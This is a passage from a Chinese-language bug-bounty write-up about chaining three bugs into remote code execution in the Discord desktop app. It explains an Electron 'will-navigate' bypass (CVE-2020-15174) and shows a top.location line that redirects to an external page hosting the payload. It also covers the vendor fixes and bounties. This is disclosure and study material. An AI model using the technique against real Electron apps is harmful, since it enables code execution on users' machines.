综合三个Bug实现Discord桌面应用RCE漏洞( 三 )


我本来想着 , "will-navigate"事件和preventDefault()会在导航动作绕过发生之前进行相关的捕捉或拦截 , 但是这却没有 。
为了进行导航绕过测试 , 我创建了一个简单的Electron应用 , 然后发现 , 顶部导航(top navigation)中的"will-navigate" 事件并不会从iframe中跳出 , 具体来说 , 如果顶部导航的所属域和iframe的所属域相同 , "will-navigate" 事件会跳出 , 否则就不会跳出 。
这并不是一种合乎常理的操作行为 , 而是个Bug 。
有了这个Bug , 我就能绕过导航限制了 。
最后 , 我要做的就是 , 导航到可以触发XSS的iframe页面 , 然后在其中包含进RCE Payload代码 。
top.location="//l0.cm/discord_calc.html"
最终 , 综合利用以上三个Bug , 我成功在Discord应用中实现的远程代码执行(RCE) 。 POC视频:
漏洞处理我通过Discord众测项目上报了这三个漏洞 , 之后 , Discord安全团队禁用了Sketchfab的嵌入功能 , 然后在iframe中加入了沙箱功能防止导航限制绕过 , 同时启用了contextIsolation功能 。
我因此收获了$5,000的漏洞奖励 。
另外 , 其中的XSS漏洞上报给Sketchfab后 , 收获了Sketchfab奖励的$300;"will-navigate"事件Bug上报给Electron后 , 被分配了CVE-2020-15174的漏洞编号 。
【综合三个Bug实现Discord桌面应用RCE漏洞】参考来源:mksben , 编译整理:clouds , 转载自Freebuf.com